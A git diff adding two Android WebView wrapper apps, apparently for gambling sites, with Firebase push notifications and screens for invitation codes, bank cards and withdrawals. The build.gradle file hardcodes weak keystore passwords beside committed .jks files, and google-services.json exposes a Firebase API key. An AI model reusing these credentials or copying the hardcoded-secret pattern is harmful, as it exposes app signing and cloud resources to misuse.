b/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kampungjudi33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/mipmap-hdpi/ic_empty.png b/kampungjudi33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kampungjudi33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kampungjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png b/kampungjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kampungjudi33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kampungjudi33/src/main/res/mipmap-xhdpi/ic_close.png b/kampungjudi33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kampungjudi33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kampungjudi33/src/main/res/mipmap-xhdpi/ic_menu.png b/kampungjudi33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kampungjudi33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kampungjudi33/src/main/res/mipmap-xxhdpi/app_logo.png b/kampungjudi33/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..de9ea54 Binary files /dev/null and b/kampungjudi33/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/kampungjudi33/src/main/res/values-en/strings.xml b/kampungjudi33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/kampungjudi33/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/values-night/themes.xml b/kampungjudi33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/kampungjudi33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/values/colors.xml b/kampungjudi33/src/main/res/values/colors.xml new file mode 100644 index 0000000..f5c5054 --- /dev/null +++ b/kampungjudi33/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #2c401d + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/values/strings.xml b/kampungjudi33/src/main/res/values/strings.xml new file mode 100644 index 0000000..01c535b --- /dev/null +++ b/kampungjudi33/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KAMPUNGJUDI33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/values/themes.xml b/kampungjudi33/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/kampungjudi33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/xml/app_updater_paths.xml b/kampungjudi33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kampungjudi33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/xml/network_security_config.xml b/kampungjudi33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kampungjudi33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kampungjudi33/src/main/res/xml/provider_paths.xml b/kampungjudi33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kampungjudi33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kampungjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kampungjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kampungjudi33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kangaroo/.gitignore b/kangaroo/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kangaroo/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kangaroo/build.gradle b/kangaroo/build.gradle new file mode 100644 index 0000000..f51da67 --- /dev/null +++ b/kangaroo/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.oorag23" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kangaroo" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/kangaroo/google-services.json b/kangaroo/google-services.json new file mode 100644 index 0000000..79ce900 --- /dev/null +++ b/kangaroo/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "748438133086", + "project_id": "kang6666-b42a3", + "storage_bucket": "kang6666-b42a3.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:748438133086:android:f2846804f63987ecf8d7cf", + "android_client_info": { + "package_name": "com.xyz.oorag23" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBnbN1KK_3PMca5BV2w34LuP1hPMmqTCEM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/kangaroo/justlet.jks b/kangaroo/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/kangaroo/justlet.jks differ diff --git a/kangaroo/ppn.jks b/kangaroo/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/kangaroo/ppn.jks differ diff --git a/kangaroo/proguard-rules.pro b/kangaroo/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kangaroo/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kangaroo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kangaroo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kangaroo/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kangaroo/src/main/AndroidManifest.xml b/kangaroo/src/main/AndroidManifest.xml new file mode 100644 index 0000000..9bf1988 --- /dev/null +++ b/kangaroo/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/java/com/xyz/oorag23/MainActivity.java b/kangaroo/src/main/java/com/xyz/oorag23/MainActivity.java new file mode 100644 index 0000000..0397807 --- /dev/null +++ b/kangaroo/src/main/java/com/xyz/oorag23/MainActivity.java @@ -0,0 +1,44 @@ +package com.xyz.oorag23; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 43; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://kangaroo88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#191919"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java b/kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java new file mode 100644 index 0000000..2794b0d --- /dev/null +++ b/kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.oorag23; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java b/kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java new file mode 100644 index 0000000..33b3cea --- /dev/null +++ b/kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.oorag23; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kangaroo/src/main/res/drawable-anydpi/ic_action_back.xml b/kangaroo/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kangaroo/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kangaroo/src/main/res/drawable-hdpi/ic_action_back.png b/kangaroo/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/kangaroo/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kangaroo/src/main/res/drawable-mdpi/ic_action_back.png b/kangaroo/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kangaroo/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kangaroo/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kangaroo/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kangaroo/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable-xhdpi/ic_action_back.png b/kangaroo/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kangaroo/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kangaroo/src/main/res/drawable-xxhdpi/ic_action_back.png b/kangaroo/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kangaroo/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kangaroo/src/main/res/drawable/big_bg.xml b/kangaroo/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..20acafb --- /dev/null +++ b/kangaroo/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/ic_launcher_background.xml b/kangaroo/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kangaroo/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kangaroo/src/main/res/drawable/input_bg.xml b/kangaroo/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kangaroo/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kangaroo/src/main/res/drawable/pass_word_bg.xml b/kangaroo/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kangaroo/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kangaroo/src/main/res/drawable/pass_word_bg1.xml b/kangaroo/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kangaroo/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/pass_word_bg2.xml b/kangaroo/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kangaroo/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/shape_btn_bg.xml b/kangaroo/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kangaroo/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/shape_dialog_bg2.xml b/kangaroo/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kangaroo/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/shape_dialog_bg3.xml b/kangaroo/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kangaroo/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/drawable/shape_dialog_bg_new.xml b/kangaroo/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kangaroo/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kangaroo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/mipmap-hdpi/ic_empty.png b/kangaroo/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kangaroo/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kangaroo/src/main/res/mipmap-hdpi/ic_pull_down.png b/kangaroo/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kangaroo/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kangaroo/src/main/res/mipmap-xhdpi/ic_close.png b/kangaroo/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kangaroo/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kangaroo/src/main/res/mipmap-xhdpi/ic_menu.png b/kangaroo/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kangaroo/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kangaroo/src/main/res/mipmap-xxhdpi/app_logo.png b/kangaroo/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..489cec3 Binary files /dev/null and b/kangaroo/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/kangaroo/src/main/res/values-en/strings.xml b/kangaroo/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..a24ed7b --- /dev/null +++ b/kangaroo/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + KANGAROO + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kangaroo/src/main/res/values-night/themes.xml b/kangaroo/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/kangaroo/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/values/colors.xml b/kangaroo/src/main/res/values/colors.xml new file mode 100644 index 0000000..54cdcbb --- /dev/null +++ b/kangaroo/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #191919 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kangaroo/src/main/res/values/strings.xml b/kangaroo/src/main/res/values/strings.xml new file mode 100644 index 0000000..6a204a1 --- /dev/null +++ b/kangaroo/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KANGAROO + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 